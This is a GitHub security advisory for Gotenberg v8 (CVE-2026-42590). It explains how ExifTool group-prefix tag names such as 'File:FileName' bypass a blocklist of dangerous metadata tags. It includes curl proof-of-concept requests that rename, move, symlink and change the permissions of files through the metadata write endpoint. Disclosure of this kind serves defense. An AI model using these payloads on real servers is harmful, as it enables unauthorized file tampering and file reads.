GitHub Advisoryadvisory · Go

GHSA-7v3r-m9c8-r855 Gotenberg's ExifTool group-prefix syntax bypasses dangerous-tag blocklist

HIGH Published 2026-05-07 Modified 2026-07-21 Official page ↗
Aliases
CVE-2026-42590
Ecosystem
Go
Packages
github.com/gotenberg/gotenberg/v8
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Weaknesses
CWE-184
Reviewed
2026-05-07

Affected packages

• Go github.com/gotenberg/gotenberg/v8: <= 8.29.1 (no fix yet)

Description

Summary The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m. Details The blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching. The `safeKeyPattern` regex (`^[a-zA-Z0-9\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc. Additionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix. PoC ```bash Rename the converted PDF (bypasses FileName blocklist) curl -F "[email protected]" \ -F 'metadata={"File:FileName":"pwned.pdf"}' \ http://localhost:3000/forms/pdfengines/metadata/write Move the file to /tmp (bypasses Directory blocklist) curl -F "[email protected]" \ -F 'metadata={"File:Directory":"/tmp"}' \ http://localhost:3000/forms/pdfengines/metadata/write Create a symlink (bypasses SymLink blocklist) curl -F "[email protected]" \ -F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \ http://localhost:3000/forms/pdfengines/metadata/write Change file permissions (not blocked at all) curl -F "[email protected]" \ -F 'metadata={"FilePermissions":"rwxrwxrwx"}' \ http://localhost:3000/forms/pdfengines/metadata/write ``` Impact Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation. This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.

Related

Alias · CVE (1)

  • CVE-2026-42590 Gotenberg is a Docker-powered stateless API for PDF files. vulnerability

Weakness · CWE (1)

  • CWE-184 Incomplete List of Disallowed Inputs weakness

References